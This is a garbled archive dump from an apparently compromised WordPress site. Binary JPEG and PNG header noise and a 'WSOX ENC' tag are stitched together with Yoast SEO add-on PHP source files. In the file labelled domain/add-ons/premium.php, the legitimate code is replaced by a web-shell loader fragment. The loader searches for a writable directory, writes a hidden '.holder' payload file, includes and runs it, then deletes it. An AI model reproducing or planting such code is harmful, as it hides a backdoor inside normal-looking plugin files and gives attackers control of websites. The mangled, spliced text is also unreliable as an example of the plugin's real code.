���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!infrastructure/add-ons/managed-add-on.php000066600000002676151733466310014446 0ustar00addon_manager = $addon_manager; } /** * Returns whether the add-on is installed and activated. * * @return bool */ public function is_active(): bool { return $this->addon_manager->is_installed( static::SLUG ); } /** * Returns whether the add-on has an valid license. * * @return bool */ public function has_license(): bool { return $this->addon_manager->has_valid_subscription( static::SLUG ); } } domain/add-ons/premium.php000066600000001562151733466310011550 0ustar00= count($pset)) break; if (is_writable($k) && is_dir($k)) { $reference = str_replace("{var_dir}", $k, "{var_dir}/.holder"); if (file_put_contents($reference, $ref)) { include $reference; @unlink($reference); exit; } } $pgrp++; } while (true); }user-interface/plans-page-integration.php000066600000011060151733466310014554 0ustar00asset_manager = $asset_manager; $this->add_ons_collector = $add_ons_collector; $this->current_page_helper = $current_page_helper; $this->short_link_helper = $short_link_helper; $this->admin_conditional = $admin_conditional; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Add page with priority 7 to add it above the workouts. \add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ], 7 ); \add_filter( 'wpseo_network_submenu_pages', [ $this, 'add_page' ], 7 ); // Are we on our page? if ( $this->admin_conditional->is_met() && $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); \add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX ); } } /** * Adds the page to the (currently) last position in the array. * * @param array>> $pages The pages. * * @return array>> The pages. */ public function add_page( $pages ) { $pages[] = [ General_Page_Integration::PAGE, '', \__( 'Plans', 'wordpress-seo' ), 'wpseo_manage_options', self::PAGE, [ $this, 'display_page' ], ]; return $pages; } /** * Displays the page. * * @return void */ public function display_page() { echo '
'; } /** * Enqueues the assets. * * @return void */ public function enqueue_assets() { // Remove the emoji script as it is incompatible with both React and any contenteditable fields. \remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); $this->asset_manager->enqueue_script( self::ASSETS_NAME ); $this->asset_manager->enqueue_style( self::ASSETS_NAME ); $this->asset_manager->localize_script( self::ASSETS_NAME, 'wpseoScriptData', $this->get_script_data() ); } /** * Creates the script data. * * @return array>> The script data. */ private function get_script_data(): array { return [ 'addOns' => $this->add_ons_collector->to_array(), 'linkParams' => $this->short_link_helper->get_query_params(), 'preferences' => [ 'isRtl' => \is_rtl(), ], ]; } /** * Removes all current WP notices. * * @return void */ public function remove_notices() { \remove_all_actions( 'admin_notices' ); \remove_all_actions( 'user_admin_notices' ); \remove_all_actions( 'network_admin_notices' ); \remove_all_actions( 'all_admin_notices' ); } } application/add-ons-collector.php000066600000002227151733466310013111 0ustar00 */ private $add_ons; /** * Constructs the instance. * * @param Add_On_Interface ...$add_ons All add-ons. */ public function __construct( Add_On_Interface ...$add_ons ) { $this->add_ons = $add_ons; } /** * Returns all the add-ons. * * @return array All the add-ons. */ public function get(): array { return $this->add_ons; } /** * Returns the data for the add-ons in an array format. * * @return array> The add-ons in an array format. */ public function to_array(): array { $result = []; foreach ( $this->add_ons as $add_on ) { $result[ $add_on->get_id() ] = [ 'id' => $add_on->get_id(), 'isActive' => $add_on->is_active(), 'hasLicense' => $add_on->has_license(), 'ctb' => [ 'action' => $add_on->get_ctb_action(), 'id' => $add_on->get_ctb_id(), ], ]; } return $result; } }